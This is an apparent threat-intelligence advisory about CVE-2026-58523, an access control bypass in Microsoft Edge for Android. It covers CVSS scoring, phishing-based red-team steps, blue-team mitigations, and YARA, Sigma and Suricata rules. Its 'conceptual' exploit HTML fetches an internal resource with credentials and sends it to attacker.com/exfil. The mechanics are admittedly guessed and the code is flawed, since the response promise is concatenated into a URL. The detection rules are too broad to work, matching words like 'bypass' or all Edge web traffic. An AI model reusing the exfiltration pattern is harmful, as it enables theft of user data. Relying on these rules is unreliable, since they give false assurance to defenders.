CVE-2026-58523

Executive Summary

CVE-2026-58523 is an unpatched improper access control vulnerability in Microsoft Edge for Android. An unauthorized attacker can bypass a security feature over a network, potentially leading to unauthorized data access or limited manipulation. With a CVSS score of 6.5 (Medium), the vulnerability requires no user interaction and can be exploited remotely. No public proof-of-concept or exploit code is available at this time, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. The vendor has not yet released a patch.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The threat level is medium due to the low complexity and no required privileges, but the impact is limited to low confidentiality and integrity loss.

Deep Dive & Mechanics

The vulnerability resides in the access control mechanism of Microsoft Edge for Android. Improper access control allows an unauthorized attacker to bypass a security feature over a network. This could involve bypassing same-origin policy, content security policy, or other browser security boundaries. The exact mechanism is not publicly disclosed, but it likely involves a flaw in how Edge handles network requests or permissions for web content. An attacker could exploit this by serving malicious content or intercepting network traffic to bypass security checks, potentially accessing restricted resources or performing actions on behalf of the user.

Vulnerable vs. Patched Code

Since no patch is available and the exact vulnerable code is unknown, a generic comparison is provided.

Vulnerable Code (Conceptual):

// Example of improper access control
function checkAccess(request) {
    // Missing or flawed validation
    return true; // Always allows access
}

Patched Code (Conceptual):

// Proper access control
function checkAccess(request) {
    if (request.origin !== expectedOrigin) {
        return false; // Deny access
    }
    // Additional validation
    return true;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Android device with Microsoft Edge installed (vulnerable version)
• Network access to the target device (same network or via phishing)

Exploitation Steps:

1. Set up a malicious web server hosting a crafted HTML page.
2. The page contains JavaScript that attempts to bypass Edge's security feature.
3. Lure the victim to visit the page (e.g., via phishing link).
4. The exploit triggers the improper access control, allowing unauthorized actions.

Example Exploit Code (Conceptual):

<html>
<body>
<script>
// Attempt to bypass security feature
fetch('https://victim.internal/resource', {
    credentials: 'include'
}).then(response => {
    // Exfiltrate data
    fetch('https://attacker.com/exfil?data=' + response.text());
});
</script>
</body>
</html>

Blue Team

Detection:

• Monitor for unusual network requests from Microsoft Edge on Android devices.
• Look for attempts to access internal resources from external origins.
• Use network segmentation to limit exposure.

Mitigation:

• Disable or restrict Microsoft Edge on Android until a patch is available.
• Implement web content filtering to block known malicious domains.
• Educate users about phishing risks.

Indicators of Compromise (IOCs)

• Network: Unusual outbound connections from Microsoft Edge to unknown IPs or domains.
• File: No specific file IOCs known.
• Registry: Not applicable (Android).
• Process: Microsoft Edge process making unexpected network requests.

Detection Engineering

YARA Rule

rule CVE_2026_58523_Edge_Android {
    meta:
        description = "Detects potential exploitation of CVE-2026-58523 in Microsoft Edge for Android"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-58523"
    strings:
        $s1 = "bypass" nocase
        $s2 = "security feature" nocase
        $s3 = "access control" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-58523 - Microsoft Edge Android Security Bypass
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects network activity related to CVE-2026-58523 exploitation
author: Valters IT
date: 2026/01/01
logsource:
    category: network_connection
    product: android
detection:
    selection:
        Image: "com.microsoft.emmx"
        DestinationPort: 80 or 443
        Initiated: true
    condition: selection
falsepositives:
    - Legitimate Edge usage
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2026-58523 - Microsoft Edge Android Security Bypass"; flow:to_server,established; content:"bypass"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable Microsoft Edge on Android devices until a patch is available. Use alternative browsers.
• Short-term: Monitor vendor advisories for patch release. Apply network-level controls to block suspicious traffic.
• Long-term: Implement strict access control policies and regular security updates for mobile browsers.

Valters IT
Cyber Threat Intelligence & DevSecOps